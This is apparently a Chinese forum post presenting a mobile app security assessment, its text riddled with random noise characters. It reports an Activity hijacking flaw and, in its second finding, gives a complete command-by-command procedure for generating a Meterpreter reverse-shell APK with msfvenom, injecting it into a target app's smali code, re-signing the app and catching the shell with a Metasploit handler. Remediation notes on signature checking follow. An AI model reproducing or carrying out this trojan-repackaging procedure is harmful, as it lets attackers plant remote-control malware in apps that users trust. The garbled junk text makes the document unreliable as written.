6 [. E; b% }, x( K+ ~! n. P; }6 I" `. P2 _: i, \; Q, {   ( b! ^" f: ]0 P, Y- m, z 3 _- ^- m6 }3 A& a2 O9 O

* b: U6 w8 w3 H8 @. C5 W / D, K0 y, j" u0 t* Q0 [

- `& X. K0 e3 y3 W1 \( w5 J ' H% x& `' j% f, S e# }8 J. d 2 检测结果                    : a2 S( m5 p: |/ h) }7 v( N3 F" V. q4 i0 C. x3 D

4 C* j* b" [' |+ L. }' d+ z $ ?# n. q3 D" {, _" p

8 m& i" K. O# c+ P2 h0 O- D- z8 k) E 2.1 某某某 ( U u3 D! r2 j " K; B# D% Z, F$ S

! R. T2 X Z' A- ?/ S 8 B9 z: u9 ]4 }3 w- G

$ C! V2 K) P% F7 t) a2 }3 v3 s v8 H- E4 ? r* f2 ?% { 2.1.1检测目标 ; T3 p# f( O& G; s, o" t* u: y- }+ p ) \. u0 g8 ?2 e9 M6 u% n2 N: K

5 w5 U( @8 L0 W! E' l$ q% o2 C( m- w5 l" r0 J

. O. D: |% s& _6 \1 ^ A ) H$ V* m9 [1 c: _. B2 R2 o 目标地址: 某某某某某某APP / H& r+ z+ v( T9 J * Z: q; L2 G+ g3 k

; f1 w& T9 k3 f: N( s# R0 p' X & F' V, {! c5 s/ i* e# `" F

7 f+ |7 z; e/ Q+ r- e 5 P/ C7 v# d- m3 @6 \* { 2.1.2检测结果 0 J' a8 l+ R, k" `! w; o1 x " V4 N! T* b+ E: `1 O6 C% c' _+ R

5 Q% z; p8 U- C- e6 S( |( ]0 V. Y, _$ q b

1 Z @3 N1 c% \% Y , ?& E7 b0 ?* C) R2 Y' {* M* Q 2.1.2.1 $ Z6 @& S( u# x z- ?: n' l" X 7 b0 c, E/ g" I \/ V' y: i! t! ~

* D0 l$ E$ s6 J; V Y5 F: J/ x+ y8 ~7 K; ^) W

- C: n( E" _$ M9 h. l, P, ?& \ ) |7 Y" B% \4 N- f: O/ B5 w: s 漏洞链接地址:某某某某某某APP - N" d0 Z4 l" O4 g! Q4 Z& `, a0 ` s& [( i# M/ S5 R# @' t

0 x; ]% W) x! b% L- i3 l. y" W- U' Z: h+ n0 _8 \8 }% e

) T% w4 e q& W* ~ ( O& K$ ?# ~! P5 z   6 ~& C& \! s1 P; o2 R# A" W: A; x 6 u1 R& `: d+ m3 o, j* Y' z! M5 j6 ~

6 [4 p& c) j6 j# F- Z : O/ P+ d- n! @* e

( m6 B. y: s: k! S! ?/ J5 K; T6 h , T- m% q- I6 E1 W5 J* J' c 漏洞分析及取证: 1 ]- @! c) |$ Y; A ' k; D2 J3 ]0 ?4 V: O

( o( R9 X( ?& K. F4 E - u$ O+ z- g/ Y; d; w, X! F9 c4 E

0 h$ E3 Z; n( N) X( ~. L- s ( U8 a/ Q) {+ m, z1 M                  通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: $ a* ^+ v4 |) J% ^0 u- z * A/ e; ]3 \, Y8 Y( M f

5 K h: k, y+ o' l6 V1 l ( _( R$ o! ~( q2 U

( x! K( v4 [9 m( e # f9 l7 ^, R; F      # ]+ }( q. m6 W c* c 0 J# x: o& r) s; ^% f

! u8 `8 G, b' ~- O6 ~ 7 r- K S7 f1 c' m# b

" ~( `2 R+ W% G# y0 Z( n6 f: q                       # k3 t5 {2 ]# K* X6 K ! H1 _) C. {* d

( _1 [( n- y+ \: c+ j8 a: J/ H9 ], o. @

2 `6 _/ p- U; X$ M! o2 @ 9 @- Q7 Q8 r$ k4 r, e: A0 x " s7 c8 X/ q: e4 I4 T& t" F ( S& r. K9 n( [) f( U ?

/ ~0 T8 d; {7 F/ `7 G- x 0 S; M' p0 C- p2 E' ~! i' Y

: F" M8 v- b X1 ?! h0 Z h$ d: T q; l* k$ {: ~ ) j( S# T6 d2 s E9 K+ K; { ; H+ E$ l+ z$ Q

/ k1 T5 P5 y9 H/ C: E& u# Z. [) u2 t" v

+ p3 L6 O9 w! C/ ?" J' @. K/ a # Z% k; G [& P# H 5 E& ] [' m- P) v3 L& d5 I ! z9 u+ d' l( H

% j3 E7 _6 s! v3 x* r4 x: |* {' u1 S g# k+ G! ^

/ p$ N. I8 C- c" c 0 H6 l1 x1 {' Y7 G* u& b 漏洞危害:高 % a/ @/ z& M! T 9 V; w/ C' \' I9 @( k. }0 h

- i( V$ u! s8 @% ?- o - @" N( O' ?* l, T$ ?0 r
) x, x& L+ | p/ f& ?/ c+ j 0 L! Q% G6 B1 B+ k. ~5 X" g % } L! ~4 a/ s+ ^- H& h# M) x6 D' L* z* b e5 v8 j( q0 S7 \' L$ U) t9 w* ]: C6 M. `+ o( i& Y$ u8 r5 L4 P" Z5 N: w3 A3 a$ V7 A# y/ P) _+ ?% ~) A5 P+ ? Q! w$ j4 ^4 |! e; ?; r, [* @# p# a0 P4 P& |8 E9 y( h# @5 h6 L/ q# Z8 B. B; X$ L4 B7 Y K0 Z5 a( q. l; o, x2 m( n9 F- \# V% z7 N- V- d+ @5 ^8 [# k2 h( T, a V1 K& f* Q) S7 Q. c3 [0 p" }3 R, b ~- ^! f4 x# f E a" G1 m) O0 L. t' B. d/ I$ |. u" S/ V9 F$ p! \3 g# q# z0 j' |$ D5 C' y4 h \. k( I6 h. ]5 V0 p B6 Q4 J k1 h' c( ~9 T3 S0 w" m& B9 W/ ? a6 J3 v2 L: V: ?# L, v+ G1 o+ g1 Q2 O1 ~
# Q* F1 |; c* y8 t- A/ h% I / U( u( i0 ]7 Y, ? T6 k

1 Z, }( N, \3 h5 q2 v2 a6 I5 `. `0 _' ^- V 严重程度 # w9 h0 S( @& h! U% V - T' Z2 H. z* k3 r

, z+ a/ T% h7 \9 S! X A; K% f/ P, ], X# a) w
w# H7 \, V X. R; N; E : {0 P5 o+ G% A/ \3 `

) U$ X- |3 u& M 0 r9 {7 W+ d4 U0 G( ~ 高 * `& V: g+ q5 M/ x) {( Y3 i; y2 r0 b& Q, w4 B6 Z

8 A9 }' l% b9 C U, }7 c* |" e" s ; C x& l7 {" z& o
1 w. _, x: w s( a% C 0 ~4 s4 p: S# h- f- }

2 `/ A- A2 {1 s; { 5 j; K( H# v- B$ K ■ * e& l+ q6 H5 n$ Q5 z+ l # M3 x8 G+ A6 o E

1 ] b+ _" S- ~# f9 r % S7 @: |( O3 {5 j8 ~
; M- i3 H5 I% j5 ^ % w6 Y! u/ z! {; T5 x& h# { U3 c* M

" N8 P' |; h9 ]2 ^' A! u8 D& Y5 W+ ]# [) Q 中 . z- K: U: X. {" ^: O8 n 6 q3 g5 l& R) J$ \) o: M

' ^! ]1 r4 `; @9 P6 J1 C + c7 N6 N' f1 D" Q/ g: ?. R
2 i& l8 [! h1 |2 O2 K9 _' {+ ?8 z$ I

; G- J- l6 ]2 o' ]) x 2 l9 |7 O3 t% B   " v, X7 w5 z8 i8 Q: {4 Z- K6 ?& d) c. _; i' `, H8 w, R8 ^

5 n' {1 M# i% y: f! F' K 7 j4 i& d- p9 b* `7 H
& d/ p/ D; Y3 `6 K 1 g# a! x* T, ]! Q

$ ~4 p- _0 k# K: ~5 R 2 r' n. ?( ?6 |! ~( j8 S 低 5 x. ? ^# G- {8 u , ]! C7 W5 T! N( i/ ~1 B6 V7 J$ k

2 n7 i& k- E, t O6 M" e5 D 7 {( I D& N# ~8 q, ~3 o6 Q$ k
5 k$ D, {0 i/ n# p' A$ x. h' W# k8 y. s" X% a

0 ]- }! f) P. t! J ! U; W' S7 R2 Z% L5 z( D% k' k   & Y' \. C" R& \! _% q: W: D8 v5 e4 {: n3 z1 b9 F

" O1 F( l. P1 ~# D$ L$ b* p , y1 X' G. G+ Q
5 u. ~+ V. x3 { q1 r7 t2 Y; F! y) z( c5 u9 y. L# N+ D
. K6 j( ~$ ~, g& G$ k% [7 H1 y ; ~1 a3 y: _' g: s

" t6 F L9 }. s* q% i2 u4 w0 ` , v1 t6 U' L: Q( T7 d" h9 o   # t* I" U9 w7 L( N& Q3 ^ 6 q( B/ ~5 C. _, j' [/ M; N- v

# b5 e& F$ P d ( K6 L0 G9 n; f; i

, o, ~% E* }. D4 P) K" _ 2 l/ C: `8 F. Z6 N 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 8 [! y6 c1 Z( p3 s1 _5 \/ q8 U , g! I9 B( A' Z8 R

. W' z! `3 a; }# U! E/ P; j' g: q# n) r2 q6 x

' c, U* }" m8 |6 Z) m, B8 K; W' K3 j P% F           % h n$ p, O- y, C: y # `: q2 K1 ]6 `7 [

% |! D( l5 \) G2 x/ p5 R3 i& n% i5 ] ^, k- T$ [

) n+ V2 c: V5 E6 B5 n& |1 t. X$ r' \6 v3 {. a6 k* H   : O1 x9 E+ G( q' O " f$ C/ [" V7 r" J: v: m% y/ @

+ c; e+ G: r( t- n0 M, b# p8 \9 C0 J4 H4 X

0 x5 F$ Q& h4 b6 s# Z4 K* k T1 b ! L7 e" Z. u9 s3 i+ ` 2.1.2.2 ; N9 P9 M0 X/ t' O9 O. e5 p: i( a& F6 d; `' M6 X6 Y1 w; g

# [4 r) Z9 N8 [3 L& f . t; o; u, [. ^; M; b4 v( w

0 h" U% q' S: b. N0 `2 Z2 z2 t * p/ j9 |* A: v1 f/ B; j 漏洞链接地址:某某某某某某APP - g( p$ S' H2 f6 W' h4 r6 Q * A: \8 G; @+ A2 P, ~( A# _- |

$ b. V0 R; p- H2 `/ R7 X % h4 {9 `3 S* {

. Y/ s, K1 G1 } 8 B8 O* r2 e8 g5 N% I4 y4 X 漏洞分析及取证: $ ^- z5 h7 P6 k i8 u% O+ u' @. S' T: P* Q' y

V% N- p, f# ~. q9 I 1 R: T" X, G; b0 |1 ]5 o/ w8 H

- [7 Q) @& ?$ v: Z7 P. E: R- N% F , ^6 c* B; J7 q4 b, x- i ^/ V: R0 f                  通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: : O1 ]/ i6 G3 |; C# J$ O+ k0 o |. x$ c; n1 X; p: x

; m8 W0 r2 a- l- U& B; W " L) a# e- P- R1 U! V

R) U" i' ?* u! o+ M # A/ L3 J% d$ A" _4 s: D 用Metasploit 生成木马 apk ( N6 o* e7 t3 g* z- T4 g 3 ~, S$ b" p; m8 f2 c7 Q+ e

. v$ L) i" p1 T% o. _( H - `- ~" D3 X3 L, c( A$ O

! j% a6 J" X0 R/ e5 O) E # F, F6 \$ |- k msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk [1 g+ K( _" [( y* z 7 D9 H$ P" n0 `" [' z5 B/ j6 a

$ j7 |; g9 B5 b5 ~- r, }2 E/ V" y- u2 O8 Z2 P" Q

! ^: A- O/ ~" h7 {: I : U, O& ]2 _" k) p* j 反编译目标apk和木马apk 8 q2 M& h$ a5 y: u* k8 F3 ` 5 t3 Q, L R3 _# W1 \2 J4 d0 Z$ d

1 ^# n/ V" S2 D0 ? 1 O$ ]% l( f: y! L

7 f. ~9 ?% X% H" j2 W' p' b. V3 }0 b: { apktool d target.apk
6 F# E4 m2 A4 j9 p6 M1 u$ r- D$ ?. G' P7 C# |, y- X apktool d cockhorse.apk
) a b! o" k1 T! |5 t5 }7 E+ e2 V2 [5 Q0 w

2 O; T5 x5 B4 `+ D' k: { 8 Q* e/ w" t' c X

; @$ H. S8 t* K9 d4 Q 6 x2 [: T5 w2 p1 `. b6 T, Y 木马 apk 注入目标 apk 7 U }* T; ]" E* n6 ^ g: { 0 g \, J5 S1 w. ~3 T

/ Z5 M9 K% Y, p- F) @, J% B ! J- R4 @- l& E

# I( ~ y) u' f0 A$ |$ v, m 4 w0 `2 \- y6 y0 m" A$ x2 B/ j 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
' w0 f- a2 [- c$ g* G8 _$ u / g2 _% [% A, t* Q8 D# X! n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
4 ?1 E* M+ L- B7 } ` 1 k% A0 D- V, c+ N6 {3 u* ?' X

. \4 v- K( p! V' J! p4 N 0 E* [8 g, U- i6 z, Q: x# v; g

0 N f1 @# l4 L1 ^$ V7 V# x7 H; Q8 b; y2 D 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 " h" A9 B0 G' v 3 S+ d3 M9 ]7 ^

) ]2 X% d% F6 E* t9 l! G 7 c+ }# }* A/ q& X. Q% v0 ^

: l! r) C2 o) F9 l7 c* t9 L0 `- S0 Y- a( N9 }* ^. `4 R 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 ( L S; `. v% T; J4 e# s m4 g2 z1 G$ @6 ?3 b1 `+ @

6 n0 V5 ~' N) b# B$ l$ o" N ' u# y7 x4 j' X

5 r; \3 X8 m0 x. K 0 v" h x) }6 f% Q+ Q y K2 C$ w 回编译生成最终 apk # ?! V; }& _! C1 T5 d+ \/ U& M$ V+ P

# J5 D) z+ j0 f6 X9 `1 r7 z- I% Q3 [6 r+ N& n/ e# V. F

& u5 g9 b7 Q' D) Y) U& m 4 w9 a, c9 K( l 重新打包 - _' a# L1 ~; W* b6 M 6 ?' C* n- `/ d

$ a; N- `3 e& f5 b) g/ Y4 y% ~$ e' E) K0 o7 |' r. ]- u

* j( O: b5 a( Q* k. p6 Y `. R4 w/ ~; p3 h& { apktool b -o repackage.apk target_app_floder ' @( Z9 x( F+ w/ e/ b0 E! _9 p" J' A# I: \: R$ Q$ F' P

) B2 T) E7 F; O4 R% @6 F$ B W* _3 `( H4 c

( p# d: G" Y }- r* Y9 x% O2 p# N9 @4 A# A' Z/ ?- ?& ] 创建签名文件,有的话可忽略此步骤 % U5 E4 Q) u& l5 E* v( j ! M7 h7 i# J2 o7 L( m

7 ~# t$ a4 K0 B& D. N - h! l% v1 M+ y9 s3 E' m

5 W$ d/ U# q8 w* f& x$ u' Z7 b; h 3 T) b7 j; g0 d# s# y keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                / F [( F, z: V2 S ; @& p$ a+ n7 f7 j

7 @4 j4 D7 y5 v+ j* F8 r. E/ q4 ~- Z3 w, U( p5 m; b! J* M

1 I3 F' A5 U5 ]9 @, F" n0 g( u . D. z7 j* e5 A' ^0 t 签名,以下任选其一 , U7 y* n9 B8 r2 L8 s2 @& y' e$ b/ b

8 v0 u4 Z8 z# o& g) R, P $ v! \' q0 W c

. c M" c4 b; ]# ^0 c0 p7 ?+ F 6 |0 u( S! b7 c R2 \% E jarsigner 方式 0 d$ K1 c5 R! h9 k _& Y1 _ a0 P

% w% o% ]; f: U4 {4 s+ ?5 ~ 9 ^8 X7 D# \3 n6 Q- o+ e7 S' ^' D

, {6 z8 N1 N) E4 h ( E# g3 h! z I O. G jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname & B7 u2 V9 y8 ?) c* w. c % K# K1 w# H* R& W* R

% ]8 s" ?# V. H! `1 [( E9 F: b. b 7 A% j* ^0 C4 z

; Y8 m0 n" `9 R8 U 4 n3 ?. Q* }- y( A: f2 t! [ apksigner 方式 / \$ ~! }$ x3 }( v; u1 V' U, A % ^, ?: Q9 }. @, w V, X4 v

c9 M. e( J7 g, R: O5 C7 q 7 o9 g* |* A- m

! \; V$ U- z3 t3 D1 a, l4 X* }8 g. H apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk + K; `9 e# m* d3 `# |& ^$ W 0 T0 f* N* P. ?; ^ s1 \' P! b

5 N7 I& L) g& T- m , l( d0 |$ P- s

8 h4 y) M0 r5 b9 k, B0 P) F5 ~6 E4 ^# o9 k 如需要禁用 v2签名 添加选项--v2-signing-enabled false ' f8 Q8 z) |" j _( I ' l: A3 S3 t3 v9 x8 j* o

7 ^" w+ W+ m' [0 }) ^$ N0 k 0 y# O( V+ q$ C# E u: C

* _9 g. j6 I. @, l: w# i : \# a4 I: T, f4 C3 E) i1 c 验证,以下任选其一 6 W3 U: y4 ?* { # F' `8 i: R3 X; o8 E+ {" P+ B& B: u

5 a" L* L/ g I2 ~6 ]: J4 V7 ?9 u

0 h3 `7 g& ]+ U" T: ?: Y) z) w$ ^; u3 O' s jarsigner方式 ' D u) L1 K9 S9 K! w ] " b7 X8 |. v8 c" b$ @0 Y

* K6 d* W; b+ w+ A8 v 1 ]- P6 S5 G4 X5 o% F

( e5 g8 O/ k: y/ I8 F5 D8 E 8 }$ j% @4 R. n6 v5 k jarsigner -verify repackaged.apk 2 D3 ^& Q& e/ T; T( J7 x ' J) R. i. Z A* y4 k

; y; K a4 b6 Q9 i; h * I4 G$ j T+ s- B4 ]+ w- Z

! _& q9 [2 A% s, [0 r4 u # u: O: c5 y; x1 f apksigner 方式 - w( _7 f! ~7 k4 L' K% }9 w; f ' r1 \9 H) Q) ^$ N W& A0 n/ z

9 A, _+ m5 R' c% i# i! G; F " ]7 \$ Y, [3 s8 i' U+ I

% ^5 Z) J3 j" v; @! O4 } ( V# b. |1 V5 e( ~ apksigner verify -v --print-certs repackaged.apk 8 [ h, P C# d: k1 U + ]: L9 v8 z" R' B( J7 j- ]" z) O

' k, x$ d+ @( {4 l0 A . N1 z4 _# W Z$ Q% i

; ^/ e8 Q) z+ h6 V7 T/ y0 D : d# u8 w1 S5 w" C. a+ P( |) Q keytool方式 ' {! H l5 Z* x3 W2 r% e ! w+ j; g/ N$ W6 f- z* M C# U

$ W: h5 j5 ^& b, L/ [# N2 F& o1 p1 b; m2 K5 @( v! Y

6 G$ @( d$ v9 q" N7 d2 i# v' ~ / G' w% R& W: I1 ]- ~) |. M1 u5 `1 i keytool -printcert -jarfile repackaged.apk 6 \: g0 j7 ^0 V ( f6 p) |0 y7 R! u5 S2 ]5 m

4 v6 z& m {2 O+ B% T0 ? e. [/ s: @

6 L( {/ f! E! ~4 p) u+ P- K& y% m& D4 p- C 对齐 : _$ f3 g$ [4 q2 h0 e" V8 F& P( i / j2 S: O X3 _% O' k* r

5 r( k$ w/ j O, U% N, D: Q4 p- } 0 |. c+ D( Y @, d# G' b, w

6 ?7 J, Y% L" B P- [" f $ p3 t+ ], X0 y0 F( L! B+ @9 H 字节对齐优化 # A- w) [5 N7 y) @( R7 f. N+ ^( a ) \3 T: _* I% ]2 C

9 T$ T1 M8 _. I, R) g! Z' @ , F1 q8 g* [( j+ U1 e

. X) S! d- G6 ?( Y' @1 ^ 4 x. {7 w d j zipalign -v 4 repackaged.apk final.apk - E/ [8 d* s; q/ s& d ~0 R9 f2 N# R3 E" j3 x( U

9 s- Z. [: @. ^; r! } 1 H3 ~! m$ N0 B! d9 v

& _% j8 H: u2 G) [ F* _# F) d* b, K! T$ d# K' h, M3 ` 检查是否对齐 * D1 c, i' g2 ~. Q8 L5 d0 p2 j1 L1 v. T8 f. ?0 k; Y; z+ P% f, t

+ f6 k/ N; i, m( K* J; s 7 H* k* t8 U5 ^2 x& k$ T

6 d8 e1 H, A2 ~' g3 t; I* |, ~; b. h# y( U zipalign -c -v 4 final.apk 6 {/ E, G/ v8 L! I1 ~) b+ J. g5 k 8 l) h# _2 y/ p+ M( ?

! z5 M+ Y' O. A. M2 S9 Y6 a * `+ g7 B- S1 t; {5 Q- i

' H: }& m9 ]" K6 R+ I( r" O4 ^. O2 D" Y4 a8 J' n' g 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 6 m" R3 T6 I: J& m( j x( t 3 K$ n! g8 ? l2 m

; L% o9 Z. u2 K1 C r4 k6 n T& t( D: |; V' T+ k, [

+ W( K% L. k+ |& I- K # \7 n& ^4 O7 I) J3 o 启动Metasploit控制台,配置参数等待上线 " F$ \3 z* S: l. ^2 N2 V, X # \' t% p( {3 x4 n, u, ?2 `+ m5 ^

4 W* W% x9 w& L+ {- `2 ] Y' Q8 x! t# M% M

4 ~1 c! e* y$ w( J ) P: X: H: b* v$ s# _ 在终端依次输入如下命令 2 H/ G7 n; l; y. [7 A x, D8 P! l; h

/ z, W) I- } ~( X2 S# m7 Y( {2 Z: z0 r+ v$ Y

" J# `- `( `% v1 g- M ( |' }8 t) J- ~; w, w msfconsole 0 W4 g7 W9 z S: b9 D. P6 _5 p 9 Q" d! s$ J v1 c( ~

+ P6 `9 \0 T! j) ^( d7 L6 ^& G $ j$ i/ T2 d7 \; G4 |, o

! r0 e4 {3 C4 B4 |( D 2 x' W+ [4 t/ N: H! e* r# _ use exploit/multi/handler 4 ]0 S2 f# x ?& C) Z ' R3 u- r6 m# O' H

2 w1 U- U2 R$ j# w- [, C% p6 U" x3 b; m

6 ~! e8 V- k2 ^7 S1 h9 R) z: H0 U8 O/ h2 v X set PAYLOAD android/meterpreter/reverse_tcp % _' Y# l; b! y 0 J. w p/ X/ L* o

) Z) n0 ~; X* g r6 c $ s4 F+ N* }! `& S1 ?* e( D/ q

5 {8 E7 Z* g2 Z. J( G! f 8 I$ w( A I1 l) K: `, g set LHOST 192.xxx.xx.xx 5 g9 n( \" z3 d. y) R 4 m( ~* j! Q; A, [% s, j7 Q2 j

; |* r% ?2 v$ u8 ?2 c1 m7 z) p9 l, ? $ z$ X( |- ~3 Q% r

4 B' a9 m; M8 U* V1 O3 L$ e% ^ 3 ~) V' o% B6 l1 T set LPORT 4444 . o0 D) k4 I8 H9 c- g: `% { ) d* r( G# L5 T, z5 U

3 [6 M, q* R5 e * F1 Q, `. g# r+ w$ m

1 [" {" Z- t6 e- U- y8 ] . Q* U7 d" G" Q1 |. q exploit # A7 u) J2 u8 }; L3 f, h 0 K" ]8 k* F: x& V2 k

* K7 o( w9 [+ E: V" ~, r3 r5 C& y6 c, ^3 j

* W. U2 V; q+ j" y& f+ @ " V" B, ~3 ^+ \" C# V 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:               ; a: a* E$ j# A( O) z4 }+ u: Z, r0 t* T

1 d# f* V6 y' y" i( r 9 z) V3 i9 f/ ~( T

# B f/ E! c0 j) g8 f0 Y 3 M8 J8 P2 T+ t; L8 Q 漏洞危害:中 - g/ x9 L( }8 j0 ^' u ! x: p7 s+ s% r9 u6 ]' ?# l( X/ o

( J& {2 }9 q5 j; t4 O$ |8 c ^ . }2 s7 ^! u+ A; r( H
" O1 E, `- @6 D9 K5 y% ]: N 5 w1 F( n! @6 X, P" T5 ] 5 L$ L' {0 X* R) y * e4 K6 i' `( V# p$ q 1 N% C% i' [% J& r3 `* |9 i) B0 I% n1 a2 O% d& H7 f8 F9 o4 M9 S n+ Z/ Y0 {# L* }. T+ C* g6 D' T* \! r, g" z. k& F L ] I" [/ r" s8 n8 P4 i R+ T9 S: J% m. ]/ c- ]4 O- y! j( g _& F' @- C. l7 j4 { ]% R; K2 m9 b4 E: A \+ d: G& I7 P6 w/ s2 S& X5 T9 k$ ~- g0 c( l$ f( y) V* S' [8 B+ I3 X% O% M! Y% U9 q% G$ r p* p" D, ?$ L: t3 g, s, ~7 ?7 L" O, @1 h( P; A( g# H9 n$ I/ b' f' S$ x6 K* D1 W& d& {; |! u! O& G5 Y! Z& A+ ?! _9 B4 a4 b6 ^8 \6 q/ F5 b9 n2 K( l: }1 S4 }& \5 ?. Z' n* `' K+ g& ^0 @+ n7 K: m3 w% G* Y: K* r) z. b8 W7 a$ r3 A$ i5 V( k* v8 c9 a: z8 }+ Z K+ \. c- \5 t F: `0 v( S. o" f; [$ V) \$ |& Q' ~9 u& I! q
* s9 P$ q, u2 I# e a- _, e8 `. b & ^7 X% I" Y9 K* G1 t# D q

" s1 P! `& q$ A4 n4 A 4 L3 ^6 _7 x4 Q! I 严重程度 ! H" y2 F5 z0 r' f& ^ 2 n0 ~2 @6 F2 N' i" l3 K2 e. m* [

" X" g+ z9 `7 v9 k* O # y; j. M2 G7 R; |4 s) v; L+ ~
1 R0 X0 H" b3 g) w9 @ - z/ K. d8 I8 R' I

" F+ F- u2 p; k& F! K; E* k 9 P- M- n5 ?/ O( w8 E0 R7 J 高 ( v7 f% W* S9 H1 Q7 G6 L& ?4 n2 m0 {& z' m# W

$ `, j2 z' ? O7 u ; m, F' M9 c9 q7 Q. X' |- y7 Q8 Y
! O2 }7 z; I- a$ `* w1 x8 n, }# H6 T7 I- o) T% {

; B+ m6 Q+ j5 Y1 _# n o9 L$ v % R6 w# t/ k" S' ?- V ■ D$ D9 G6 y& g7 E' K7 a% |4 c$ H, k( P' Z# I; H+ g

$ b+ ~9 X: v2 H% T; A# Q' F: c, y% N$ T$ b
6 M8 N" n' V: J& a j) d( l2 Q8 O% j4 A9 d! e

' s# E6 I2 U; C* ^ ! x) z0 i% v) y 中 2 R2 `# l e* X5 j6 @2 p6 M( R( E; ?+ i

- A$ w1 h3 g% k: v ! P5 m1 M7 r" @: i) C! y
7 X# K& b8 Q( z0 z2 [ $ L; r) G3 S/ J k8 [ + W! a& A2 W1 Y7 a3 F9 n. ^* x( _8 M ! @1 R% |8 D- V, u2 }

- \% f _8 c# N+ w* |5 s. N+ K6 `/ T/ ]2 c9 k9 I9 g3 p+ l   1 p/ Z2 |& S% N" b* Z0 T3 a, T1 j( ? 6 D R# h1 `3 k, E

. b+ Z. j: b; K% g1 M6 D % X8 g& z! G8 U3 C' Z
5 [ G! `! K& W2 [8 s1 {" P. ~$ N R) u% [+ L

3 v4 f ~1 W; f4 S! A% K( [" |& ?, X8 T+ _* a# Q0 n/ i: c4 Q1 O 低 5 B7 d7 r2 M6 R5 A# `3 Q4 p , ? G7 Z7 C: i4 M5 f/ `

8 N* Y/ \) `( T" z* n% ~ - Z0 K. i! |- R8 m. m6 N' f
) c, Z% v+ x" X* j 9 r+ r, O- c4 i/ _; k* |) Y # e7 B! x/ t7 v' G$ U1 i- C 0 k+ H: \; U3 Z

8 M2 l, G2 M- F! X# q : p4 y/ S- A' D8 B! D, ]   + |0 s: J& N; y( ^, P) [0 e N. T" s) v

! C$ M0 W! N9 m/ r# T+ l; U$ `; I( W( I$ o* ~
7 b7 b! `8 K7 P$ N. Q, m8 e ; d2 V" N5 I/ q6 p
0 i6 a& ^0 a* p! E. s+ U ! Q. c* q U. v p6 C7 `

1 U' Z4 h& F6 g- |* ~/ ^# M$ J : H% z! n I/ m, W2 ^4 o/ Y/ ~   ; L0 [0 t1 \) ? 7 F/ G4 k" P- J: r% y9 J: w* {4 J

; T O+ c0 w& o6 [5 [9 R, f. b7 c( @

1 ?, d& @" t1 Y7 Q9 r: { h2 |2 |/ R. F5 ? 修复方法: ! b' o0 a2 [, u4 Q, f9 A # A o6 K( l3 v

) Q0 f1 X9 \& t- o7 g * l, m8 ^- o9 r8 A& J( y

, V/ S9 @1 Y& x) W- d' C8 d! Y/ x; U% g2 w; m; H+ E               1.在 APP 启动时应做签名校验防止二次打包。
5 Z/ W& z& s" a. o/ l! z; L9 x# ` 2 V. k# H; I2 T/ { |% L: I6 |) V/ x 2.
建议采用客户端、通信和服务器端联动防御方案进行安全防御。 2 V6 s5 i7 t1 g; N $ _) ?4 }5 N7 {: M1 X) i# v* @

& A7 d& m4 u! G: r3 I. d0 D" M" A# F5 W3 j 5 R+ ?0 U( s5 n" I( f: n% b, w8 ]6 A$ f

7 F) _0 o5 ]) M- R+ {+ O3 Y : q, N5 V/ I) H# v$ w   ; _! }7 e' n/ }0 Z 2 V3 P9 w8 s# A: D. |: E

7 @3 P7 w% n" S% F5 d2 ~ ' `; b& {; Z2 k" V 4 n3 O; U( o0 Y% S5 | 8 ~( L% d, T+ K2 L1 [

1 P3 W1 b$ i5 \ [- h 1 _; y# y7 u6 _8 R+ r" C; W
, f! W+ u, l0 _# f 0 _( d1 \+ o# d5 h Q# c

X) ?5 n, n4 i4 I ) X4 X+ X8 M9 d: m) T
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表